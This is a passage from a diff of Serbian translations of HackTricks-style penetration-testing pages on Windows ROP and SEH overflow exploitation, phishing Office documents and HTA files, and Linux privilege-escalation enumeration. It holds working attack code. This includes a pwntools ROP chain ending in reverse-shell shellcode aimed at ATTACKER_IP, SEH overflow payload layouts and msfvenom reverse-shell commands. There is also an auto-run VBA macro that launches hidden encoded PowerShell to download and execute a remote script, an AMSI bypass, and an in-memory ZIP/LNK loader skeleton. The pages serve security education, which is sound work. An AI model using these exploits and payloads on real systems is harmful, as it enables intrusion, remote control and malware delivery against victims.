chain-a. +1) Leak a module base (npr. via a format-string, object pointer, itd.) da biste izračunali apsolutne adrese gadget-a i IAT pod ASLR-om. +2) Pronađite gadgets za učitavanje RCX/RDX/R8/R9 (pop ili mov/xor-based sekvence) i call/jmp [VirtualAlloc@IAT]. Ako nemate direktne pop r8/r9, koristite arithmetic gadgets da sintetizujete konstante (npr. set r8=0 i ponavljano dodajte r9=0x40 četrdeset puta da biste došli do 0x1000). +3) Postavite stage-2 shellcode neposredno posle chain-a. -Example layout (conceptual): +Primer rasporeda (konceptualno): ``` # ... padding up to saved RIP ... # R9 = 0x40 (PAGE_EXECUTE_READWRITE) @@ -104,12 +104,12 @@ POP_RDX_RET; 0x1000 JMP_SHELLCODE_OR_RET # ---- stage-2 shellcode (x64) ---- ``` -Sa ograničenim gadget set-om, možete indirektno konstruisati vrednosti registara, na primer: -- mov r9, rbx; mov r8, 0; add rsp, 8; ret → postavi r9 iz rbx, postavi r8 na 0 i kompenzuj stek jednim junk qword-om. -- xor rbx, rsp; ret → inicijalizuje rbx vrednošću trenutnog pokazivača steka. -- push rbx; pop rax; mov rcx, rax; ret → prebaci vrednost izvedenu iz RSP u RCX. +Sa ograničenim gadget setom, možete indirektno konstruisati vrednosti registara, na primer: +- mov r9, rbx; mov r8, 0; add rsp, 8; ret → postavlja r9 iz rbx, postavlja r8 na 0 i kompenzuje stack pomoću junk qword. +- xor rbx, rsp; ret → inicijalizuje rbx sa trenutnim stack pointer-om. +- push rbx; pop rax; mov rcx, rax; ret → prebacuje vrednost izvedenu iz RSP u RCX. -Pwntools skica (uz poznatu osnovnu adresu i gadgets): +Pwntools skica (uz poznatu bazu i gadgets): ```python from pwn import * base = 0x7ff6693b0000 @@ -132,27 +132,27 @@ rop += p64(base+POP_RDX_RET) + p64(0x1000) rop += p64(IAT_VirtualAlloc) rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT)) ``` -Tips: -- VirtualProtect radi slično ako je poželjno da postojeći buffer učinite RX; redosled parametara je drugačiji. -- Ako je prostor na stack-u ograničen, alocirajte RWX negde drugde (RCX=NULL) i jmp na taj novi region umesto ponovnog korišćenja stack-a. -- Uvek uzmite u obzir gadgets koji menjaju RSP (npr., add rsp, 8; ret) ubacivanjem junk qwords. +Saveti: +- VirtualProtect radi slično ako je poželjnije da postojeći buffer postane RX; redosled parametara je drugačiji. +- Ako je prostor na stack-u ograničen, alocirajte RWX negde drugde (RCX=NULL) i jmp na tu novu regiju umesto ponovnog korišćenja stack-a. +- Uvek uzimajte u obzir gadgets koji podešavaju RSP (npr. add rsp, 8; ret) tako što ćete ubaciti junk qwords. -- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **should be disabled** da bi adresa bila pouzdana između izvršenja — inače adresa gde će funkcija biti smeštena neće uvek biti ista i trebalo bi da imate neki leak kako biste utvrdili gde je win function učitana. -- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) treba takođe da budu onemogućene, inače kompromitovani EIP return address nikada neće biti iskorišćen. -- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** zaštita bi sprečila izvršavanje shellcode-a unutar stack-a jer taj region neće biti izvršan. +- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **bi trebalo da bude onemogućen** da bi adresa bila pouzdana preko izvršenja, inače adresa na kojoj će funkcija biti smeštena neće uvek biti ista i moraćete da koristite neki leak da biste utvrdili gde je win function učitana. +- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) takođe bi trebalo da budu onemogućeni, inače kompromitovana EIP return adresa nikada neće biti iskorišćena. +- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** zaštita bi sprečila izvršavanje shellcode-a unutar stack-a jer ta regija neće biti izvršna. -## Other Examples & References +## Ostali primeri i reference - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html) -- 64bit, ASLR sa stack address leak, pisanje shellcode-a i jmp na njega +- 64bit, ASLR sa stack address leak, write shellcode i jump na njega - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html) -- 32 bit, ASLR sa stack leak, pisanje shellcode-a i jmp na njega +- 32 bit, ASLR sa stack leak, write shellcode i jump na njega - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html) -- 32 bit, ASLR sa stack leak, poređenje da bi se sprečio poziv exit(), prepisivanje promenljive vrednošću i pisanje shellcode-a i jmp na njega +- 32 bit, ASLR sa stack leak, poređenje da bi se sprečio poziv exit(), overwrite varijable nekom vrednošću, pa write shellcode i jump na njega - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) -- arm64, bez ASLR, ROP gadget da učini stack izvršnim i jmp na shellcode u stack-u +- arm64, no ASLR, ROP gadget za učiniti stack izvršnim i skok na shellcode u stack-u ## References diff --git a/src/binary-exploitation/stack-overflow/windows-seh-overflow.md b/src/binary-exploitation/stack-overflow/windows-seh-overflow.md index 6e80fa583..dccf5883b 100644 --- a/src/binary-exploitation/stack-overflow/windows-seh-overflow.md +++ b/src/binary-exploitation/stack-overflow/windows-seh-overflow.md @@ -2,24 +2,24 @@ {{#include ../../banners/hacktricks-training.md}} -SEH-based exploitation je klasična x86 Windows tehnika koja zloupotrebljava Structured Exception Handler lanac smešten na steku. Kada stack buffer overflow prepiše dva 4-bajtna polja +SEH-based exploitation je klasična x86 Windows tehnika koja zloupotrebljava lanac Structured Exception Handler koji se nalazi na steku. Kada preliv bafera na steku (stack buffer overflow) prepiše dva 4-bajtna polja -- nSEH: pointer to the next SEH record, and -- SEH: pointer to the exception handler function +- nSEH: pokazivač na sledeći SEH zapis, i +- SEH: pokazivač na funkciju rukovaoca izuzetkom -napadač može preuzeti kontrolu izvršavanja tako što: +napadač može preuzeti kontrolu izvršavanja na sledeći način: -1) Podesi SEH na adresu POP POP RET gadget-a u modul-u bez zaštite, tako da kada se desi exception gadget vrati izvršavanje u napadačem kontrolisane bajtove, i -2) Iskoristi nSEH da preusmeri izvršavanje (tipično kratki skok) nazad u veliki overflow buffer gde se nalazi shellcode. +1) Postavljanjem SEH na adresu POP POP RET gadgeta u modulu bez zaštite, tako da kada se desi izuzetak taj gadget vrati kontrolu u bajtove koje kontroliše napadač, i +2) Korišćenjem nSEH za preusmeravanje izvršavanja (obično kratki skok) nazad u veliki prelivajući bafer gde se nalazi shellcode. -Ova tehnika je specifična za 32-bit procese (x86). Na modernim sistemima, preferiraj modul bez SafeSEH i ASLR za gadget. Loši karakteri često uključuju 0x00, 0x0a, 0x0d (NUL/CR/LF) zbog C-strings i HTTP parsiranja. +Ova tehnika je specifična za 32-bit procese (x86). Na modernim sistemima, preferirajte modul bez SafeSEH i ASLR za gadget. Loši karakteri često uključuju 0x00, 0x0a, 0x0d (NUL/CR/LF) zbog C-strings i parsiranja HTTP zahteva. --- -## Pronalaženje tačnih offseta (nSEH / SEH) +## Pronalaženje tačnih ofseta (nSEH / SEH) -- Sruši proces i proveri da li je SEH lanac prepisan (npr. u x32dbg/x64dbg, proveri SEH view). -- Pošalji cyclic pattern kao overflowing podatke i izračunaj offset-e dva dword-a koja završe u nSEH i SEH. +- Srušite proces i proverite da li je SEH lanac prepisan (npr. u x32dbg/x64dbg, proverite SEH view). +- Pošaljite ciklični uzorak kao podatke koji prelivaju i izračunajte ofsete dva dword-a koja dospevaju u nSEH i SEH. Primer sa peda/GEF/pwntools na POST telu od 1000 bajtova: ```bash @@ -39,18 +39,18 @@ Validate by placing markers at those positions (e.g., nSEH=b"BB", SEH=b"CC"). Ke ## Izbor POP POP RET (SEH gadget) -Treba vam POP POP RET sekvenca da rasklopi SEH okvir i vrati kontrolu u vaše nSEH bajtove. Pronađite je u modulu bez SafeSEH i po mogućstvu bez ASLR: +Potrebna vam je POP POP RET sekvenca da bi se unwind-ovao SEH frame i vratilo na vaše nSEH bajtove. Pronađite je u modulu bez SafeSEH i idealno bez ASLR: - Mona (Immunity/WinDbg): `!mona modules` zatim `!mona seh -m modulename`. -- x64dbg plugin ERC.Xdbg: `ERC --SEH` da prikaže POP POP RET gadget-e i SafeSEH status. +- x64dbg plugin ERC.Xdbg: `ERC --SEH` da prikaže POP POP RET gadgets i SafeSEH status. -Izaberite adresu koja ne sadrži badchars kada se upiše little-endian (npr., `p32(0x004094D8)`). Preferirajte gadget-e unutar ranjivog binarnog fajla ako zaštite to dopuštaju. +Odaberite adresu koja ne sadrži badchars kada se napiše little-endian (npr., `p32(0x004094D8)`). Preferirajte gadgets unutar ranjivog binarnog fajla ako zaštite dozvoljavaju. --- ## Jump-back technique (short + near jmp) -nSEH je samo 4 bajta, što odgovara najviše 2-bajtnom short jump-u (`EB xx`) plus padding. Ako morate da se vratite unazad stotinama bajtova da biste dosegnuli početak buffera, koristite 5-bajtnu near jump koja je postavljena neposredno pre nSEH i povežite se na nju short jump-om iz nSEH. +nSEH is only 4 bytes, which fits at most a 2-byte short jump (`EB xx`) plus padding. If you must jump back hundreds of bytes to reach your buffer start, use a 5-byte near jump placed right before nSEH and chain into it with a short jump from nSEH. With nasmshell: ```text @@ -61,7 +61,7 @@ EBF6 nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop) E96FFDFFFF ``` -Ideja rasporeda za 1000-byte payload sa nSEH na offsetu 660: +Predlog rasporeda za 1000-byte payload sa nSEH na offsetu 660: ```python buffer_length = 1000 payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start @@ -71,40 +71,40 @@ payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pa payload += p32(0x004094D8) # SEH: POP POP RET (no badchars) payload += b"D" * (buffer_length - len(payload)) ``` -Tok izvršavanja: +Tok izvršenja: - Dogodi se izuzetak, dispatcher koristi prepisani SEH. -- POP POP RET povlači izvršavanje u naš nSEH. +- POP POP RET prelazi u naš nSEH. - nSEH izvršava `jmp short -8` u 5-byte near jump. -- Near jump dospeva na početak našeg buffer-a gde se nalazi NOP sled + shellcode. +- Near jump dospeva na početak našeg buffera gde se nalaze NOP sled + shellcode. --- -## Bad characters +## Loši karakteri -Sastavite potpuni badchar string i uporedite stack memoriju nakon pada, izbacujući bajtove koje ciljni parser oštećuje. Za HTTP-based overflows, `\x00\x0a\x0d` su gotovo uvek izuzeti. +Sastavi kompletan badchar string i uporedi stack memory nakon crash-a, uklanjajući bajtove koje target parser izmeni. Za HTTP-based overflows, `\x00\x0a\x0d` su gotovo uvek isključeni. ```python badchars = bytes([x for x in range(1,256)]) payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case ``` --- -## Generisanje Shellcode-a (x86) +## Generisanje shellcode-a (x86) -Koristite msfvenom sa vašim badchars. Mali NOP sled pomaže tolerisati varijacije u mestu dosedanja. +Koristite msfvenom sa svojim badchars. Mali NOP sled pomaže tolerisati varijacije u mestu izvršenja. ```bash msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ -b "\x00\x0a\x0d" -f python -v sc ``` -Ako se generiše u letu, hex format je pogodan za embed i unhex u Pythonu: +Ako se generiše u letu, hex format je zgodan za ubacivanje i unhex u Pythonu: ```bash msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ -b "\x00\x0a\x0d" -f hex ``` --- -## Slanje preko HTTP-a (precizni CRLF + Content-Length) +## Isporuka preko HTTP-a (precizni CRLF + Content-Length) -Kada je ranjivi vektor HTTP request body, sastavite raw request sa tačnim CRLF-ovima i Content-Length-om tako da server pročita ceo overflowing body. +Kada je ranjivi vektor telo HTTP zahteva, sastavite sirov zahtev sa tačnim CRLF-ovima i Content-Length-om tako da server pročita celo telo koje preljeva. ```python # pip install pwntools from pwn import remote @@ -127,19 +127,19 @@ p.close() ## Alati -- x32dbg/x64dbg za posmatranje SEH lanaca i trijažu pada procesa. -- ERC.Xdbg (dodatak za x64dbg) za nabrajanje SEH gadgets: `ERC --SEH`. +- x32dbg/x64dbg za posmatranje SEH chain-a i trijažu pada. +- ERC.Xdbg (x64dbg plugin) za enumeraciju SEH gadgeta: `ERC --SEH`. - Mona kao alternativa: `!mona modules`, `!mona seh`. - nasmshell za sastavljanje short/near jumps i kopiranje raw opcodes. -- pwntools za kreiranje preciznih mrežnih payload-ova. +- pwntools za kreiranje preciznih network payloads. --- -## Napomene i upozorenja +## Napomene i ograničenja -- Ovo se odnosi samo na x86 procese. x64 koristi drugačiju SEH šemu i eksploatacija bazirana na SEH obično nije izvodljiva. -- Preferirajte gadgets u modulima bez SafeSEH i ASLR; u suprotnom, pronađite nezaštićeni modul učitan u procesu. -- Servisni watchdog-ovi koji se automatski restartuju nakon pada mogu olakšati iterativni razvoj exploita. +- Odnosi se samo na x86 procese. x64 koristi drugačiju SEH šemu i eksploatacija zasnovana na SEH-u generalno nije izvodljiva. +- Preferirajte gadgete u modulima bez SafeSEH i ASLR; u suprotnom pronađite nezaštićeni modul učitan u procesu. +- Watchdog servisi koji se automatski restartuju nakon pada mogu olakšati iterativni razvoj exploita. ## References - [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index 24360364a..20eee09ce 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -1,22 +1,22 @@ -# Phishing Fajlovi & Dokumenti +# Phishing fajlovi i dokumenti {{#include ../../banners/hacktricks-training.md}} -## Office Dokumenti +## Office dokumenti -Microsoft Word vrši validaciju podataka fajla pre nego što otvori fajl. Validacija podataka se izvodi u obliku identifikacije strukture podataka, u skladu sa OfficeOpenXML standardom. Ako se pojavi bilo koja greška tokom identifikacije strukture podataka, fajl koji se analizira neće biti otvoren. +Microsoft Word vrši validaciju podataka fajla pre otvaranja. Validacija podataka se vrši u obliku identifikacije strukture podataka, u skladu sa OfficeOpenXML standardom. Ako dođe do bilo koje greške tokom identifikacije strukture podataka, fajl koji se analizira neće biti otvoren. -Uobičajeno, Word fajlovi koji sadrže makroe koriste ekstenziju `.docm`. Međutim, moguće je preimenovati fajl menjajući ekstenziju i i dalje zadržati mogućnost izvršavanja makroa.\ -Na primer, RTF fajl po dizajnu ne podržava makroe, ali DOCM fajl preimenovan u RTF biće tretiran od strane Microsoft Worda i biće sposoban za izvršavanje makroa.\ -Ista interna struktura i mehanizmi važe za sav softver iz Microsoft Office Suite-a (Excel, PowerPoint itd.). +Obično Word fajlovi koji sadrže macros koriste `.docm` ekstenziju. Međutim, moguće je preimenovati fajl promenom ekstenzije i ipak zadržati mogućnost izvršavanja njihovih macros.\ +Na primer, RTF fajl po dizajnu ne podržava macros, ali DOCM fajl preimenovan u RTF će biti tretiran od strane Microsoft Word i biće sposoban za izvršavanje macros.\ +Isti internals i mehanizmi važe za sav softver iz Microsoft Office Suite (Excel, PowerPoint etc.). Možete koristiti sledeću komandu da proverite koje ekstenzije će biti izvršavane od strane nekih Office programa: ```bash assoc | findstr /i "word excel powerp" ``` -DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well. +DOCX fajlovi koji referenciraju udaljeni template (File –Options –Add-ins –Manage: Templates –Go) koji uključuje macros mogu takođe “izvršavati” macros. -### External Image Load +### Učitavanje eksternih slika Idite na: _Insert --> Quick Parts --> Field_\ _**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http:///whatever @@ -25,16 +25,16 @@ _**Categories**: Links and References, **Filed names**: includePicture, and **Fi ### Macros Backdoor -Moguće je koristiti makroe da biste pokrenuli proizvoljni kod iz dokumenta. +Moguće je koristiti macros za pokretanje proizvoljnog koda iz dokumenta. -#### Autoload functions +#### Funkcije za automatsko učitavanje Što su češće, to je verovatnije da će ih AV detektovati. - AutoOpen() - Document_Open() -#### Macros Code Examples +#### Macros Primeri koda ```vba Sub AutoOpen() CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=") @@ -64,14 +64,14 @@ Dim proc As Object Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process") proc.Create "powershell ``` -#### Manually remove metadata +#### Ručno uklonite metapodatke -Idite na **File > Info > Inspect Document > Inspect Document**, što će otvoriti Document Inspector. Kliknite **Inspect** i zatim **Remove All** pored **Document Properties and Personal Information**. +Idite na **File > Info > Inspect Document > Inspect Document**, što će otvoriti Inspektor dokumenta. Kliknite **Inspect** i zatim **Remove All** pored **Document Properties and Personal Information**. -#### Doc Extension +#### Ekstenzija dokumenta -Kada završite, izaberite padajući meni **Save as type**, promenite format iz **`.docx`** u **Word 97-2003 `.doc`**.\ -Radite to zato što **you can't save macro's inside a `.docx`** i postoji stigma oko macro-enabled **`.docm`** ekstenzije (npr. ikona sličice ima veliki `!` i neki web/email gateway blokiraju ih u potpunosti). Stoga je ova nasleđena `.doc` ekstenzija najbolji kompromis. +Kada završite, izaberite padajući meni **Save as type**, promenite format sa **`.docx`** na **Word 97-2003 `.doc`**.\ +Uradite ovo zato što **ne možete sačuvati makroe unutar `.docx`** i postoji **stigmatizacija** oko makro-omogućenog **`.docm`** formata (npr. sličica ima veliki `!` i neki web/email gateway-ovi ih potpuno blokiraju). Stoga je ova **nasleđena `.doc` ekstenzija najbolji kompromis**. #### Malicious Macros Generators @@ -81,9 +81,9 @@ Radite to zato što **you can't save macro's inside a `.docx`** i postoji stigma ## HTA Files -HTA je Windows program koji **combines HTML and scripting languages (such as VBScript and JScript)**. On generiše korisnički interfejs i izvršava se kao "fully trusted" aplikacija, bez ograničenja sigurnosnog modela pregledača. +HTA je Windows program koji **kombinuje HTML i skriptne jezike (kao što su VBScript i JScript)**. Generiše korisnički interfejs i izvršava se kao aplikacija kojoj je u potpunosti verovano, bez ograničenja sigurnosnog modela pregledača. -HTA se izvršava pomoću **`mshta.exe`**, koji je tipično **installed** zajedno sa **Internet Explorer**, što čini **`mshta` dependant on IE**. Dakle, ako je on deinstaliran, HTA fajlovi neće moći da se izvrše. +HTA se izvršava pomoću **`mshta.exe`**, koji je obično **instaliran** zajedno sa **Internet Explorer**, što čini **`mshta` dependant on IE**. Dakle, ako je on deinstaliran, HTA fajlovi neće moći da se izvrše. ```html <--! Basic HTA Execution --> @@ -140,7 +140,7 @@ self.close ``` ## Forsiranje NTLM autentifikacije -Postoji nekoliko načina da se **forsira NTLM autentifikacija "na daljinu"**, na primer, možete dodati **nevidljive slike** u emailove ili HTML koje će korisnik otvoriti (čak i HTTP MitM?). Ili poslati žrtvi **adresu fajlova** koja će **pokrenuti** **autentifikaciju** samo otvaranjem mape. +Postoji nekoliko načina da **forsirate NTLM autentifikaciju "remotely"**, na primer, možete dodati **nevidljive slike** u emailove ili HTML koje će korisnik otvoriti (čak i HTTP MitM?). Ili poslati žrtvi **adresu fajlova** koja će **pokrenuti** **autentifikaciju** samo otvaranjem fascikle. **Pogledajte ove ideje i još više na sledećim stranicama:** @@ -156,24 +156,24 @@ Postoji nekoliko načina da se **forsira NTLM autentifikacija "na daljinu"**, na ### NTLM Relay -Ne zaboravite da pored krađe heša ili autentifikacije možete i **perform NTLM relay attacks**: +Ne zaboravite da ne možete samo ukrasti heš ili autentifikaciju, već i **perform NTLM relay attacks**: - [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) - [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) ## LNK Loaders + ZIP-Embedded Payloads (fileless chain) -Veoma efikasne kampanje isporučuju ZIP koji sadrži dva legitimna mamca dokumenta (PDF/DOCX) i zlonamerni .lnk. Trik je u tome što je stvarni PowerShell loader smešten unutar sirovih bajtova ZIP-a nakon jedinstvenog markera, a .lnk ga izdvaja i izvršava potpuno u memoriji. +Vrlo efikasne kampanje isporučuju ZIP koji sadrži dva legitimna decoy dokumenta (PDF/DOCX) i maliciozni .lnk. Trik je u tome da je stvarni PowerShell loader smešten unutar sirovih bajtova ZIP-a nakon jedinstvenog markera, a .lnk ga izdvoji i izvršava potpuno u memoriji. -Tipični tok koji implementira .lnk PowerShell one-liner: +Tipičan tok koji implementira .lnk PowerShell one-liner: -1) Pronađi originalni ZIP u uobičajenim putanjama: Desktop, Downloads, Documents, %TEMP%, %ProgramData% i roditelj trenutnog radnog direktorijuma. -2) Pročitaj bajtove ZIP-a i pronađi hardkodovani marker (npr. xFIQCV). Sve nakon markera je ugrađeni PowerShell payload. -3) Kopiraj ZIP u %ProgramData%, raspakuj tamo i otvori mamac .docx da bi izgledalo legitimno. +1) Pronađi originalni ZIP u uobičajenim putanjama: Desktop, Downloads, Documents, %TEMP%, %ProgramData% i roditeljskom direktorijumu trenutnog radnog direktorijuma. +2) Pročitaj bajtove ZIP-a i pronađi hardkodovani marker (npr. xFIQCV). Sve posle markera je ugrađeni PowerShell payload. +3) Kopiraj ZIP u %ProgramData%, ekstrahuj tamo i otvori decoy .docx da bi izgledalo legitimno. 4) Zaobiđi AMSI za trenutni proces: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true -5) Deobfuskuj narednu fazu (npr. ukloni sve # karaktere) i izvrši je u memoriji. +5) Deobfuskuj sledeću fazu (npr. ukloni sve # karaktere) i izvrši je u memoriji. -Primer PowerShell skeleta za izdvajanje i pokretanje ugrađene faze: +Primer PowerShell kostura za izdvajanje i pokretanje ugrađene faze: ```powershell $marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV') $paths = @( @@ -191,21 +191,21 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#','' Invoke-Expression $code ``` Napomene -- Delivery često zloupotrebljava pouzdane PaaS poddomene (npr. *.herokuapp.com) i može ograničiti pristup payloads (servira benign ZIP-ove na osnovu IP/UA). -- Sledeća faza često dešifruje base64/XOR shellcode i izvršava ga putem Reflection.Emit + VirtualAlloc kako bi minimalizovala tragove na disku. +- Dostava često zloupotrebljava ugledne PaaS poddomene (npr. *.herokuapp.com) i može uslovljavati payloads (servira benign ZIPs bazirano na IP/UA). +- Sledeća faza često dekriptuje base64/XOR shellcode i izvršava ga putem Reflection.Emit + VirtualAlloc kako bi se minimizovali artefakti na disku. Persistence korišćena u istom lancu -- COM TypeLib hijacking of the Microsoft Web Browser control tako da IE/Explorer ili bilo koja aplikacija koja ga ugradjuje automatski ponovo pokrene payload. See details and ready-to-use commands here: +- COM TypeLib hijacking of the Microsoft Web Browser control tako da IE/Explorer ili bilo koja aplikacija koja ga ugrađuje ponovo automatski pokreće payload. See details and ready-to-use commands here: {{#ref}} ../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md {{#endref}} Hunting/IOCs -- ZIP files containing the ASCII marker string (npr. xFIQCV) dodat na podatke arhive. -- .lnk koji enumeriše parent/user foldere da pronađe ZIP i otvara lažni dokument. +- ZIP fajlovi koji sadrže ASCII marker string (npr. xFIQCV) dodat na podatke arhive. +- .lnk koji enumeriše parent/user foldere da pronađe ZIP i otvara decoy dokument. - AMSI manipulacija putem [System.Management.Automation.AmsiUtils]::amsiInitFailed. -- Dugotrajni poslovni thread-ovi koji se završavaju linkovima hostovanim pod pouzdanim PaaS domenima. +- Dugotrajne poslovne konverzacije koje se završavaju linkovima hostovanim na pouzdanim PaaS domenima. ## References diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index b230e4974..e2866b079 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,46 +6,46 @@ ### Informacije o OS-u -Počnimo sa prikupljanjem informacija o pokrenutom OS-u. +Počnimo sa prikupljanjem informacija o pokrenutom operativnom sistemu ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### Putanja +### Path -Ako **imate dozvole za pisanje na bilo koji folder unutar promenljive `PATH`** možda ćete moći da preuzmete kontrolu nad nekim bibliotekama ili binarnim fajlovima: +Ako imate **write permissions** na bilo kojem folderu unutar promenljive `PATH`, možda ćete moći da hijack some libraries or binaries: ```bash echo $PATH ``` -### Informacije o varijablama okruženja +### Env info -Ima li u varijablama okruženja zanimljivih informacija, lozinki ili API ključeva? +Ima li zanimljivih informacija, passwords ili API keys u environment variables? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -Proverite kernel version i da li postoji exploit koji se može koristiti za escalate privileges +Proverite kernel verziju i postoji li exploit koji se može iskoristiti za escalate privileges ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Možete pronaći dobar spisak ranjivih kernela i neke već **compiled exploits** ovde: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) i [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -Drugi sajtovi na kojima možete pronaći neke **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +Možete pronaći dobar spisak ranjivih kernel verzija i neke već **compiled exploits** ovde: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) i [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Drugi sajtovi na kojima možete naći neke **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Da biste izvukli sve verzije ranjivih kernela sa te stranice, možete uraditi: +Da biste izvukli sve ranjive kernel verzije sa te stranice možete uraditi: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Alati koji mogu pomoći da pronađete kernel exploits su: +Alati koji mogu pomoći u pretrazi kernel exploits su: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim, samo proverava exploits za kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (izvršiti NA žrtvi, proverava samo exploits za kernel 2.x) -Uvek **pretraži kernel verziju na Google-u**, moguće je da je tvoja kernel verzija navedena u nekom kernel exploit-u i tada ćeš biti siguran da je taj exploit validan. +Uvek **pretraži kernel verziju na Google**, možda je tvoja kernel verzija pomenuta u nekom kernel exploitu i tada ćeš biti siguran da je taj exploit validan. ### CVE-2016-5195 (DirtyCow) @@ -75,18 +75,18 @@ sudo -u#-1 /bin/bash ``` ### Dmesg: verifikacija potpisa nije uspela -Proveri **smasher2 box of HTB** za **primer** kako se ova vuln može iskoristiti +Pogledaj **smasher2 box of HTB** za **primer** kako bi se ova vuln mogla iskoristiti ```bash dmesg 2>/dev/null | grep "signature" ``` -### Više sistemske enumeracije +### Dodatna enumeracija sistema ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## Popis mogućih 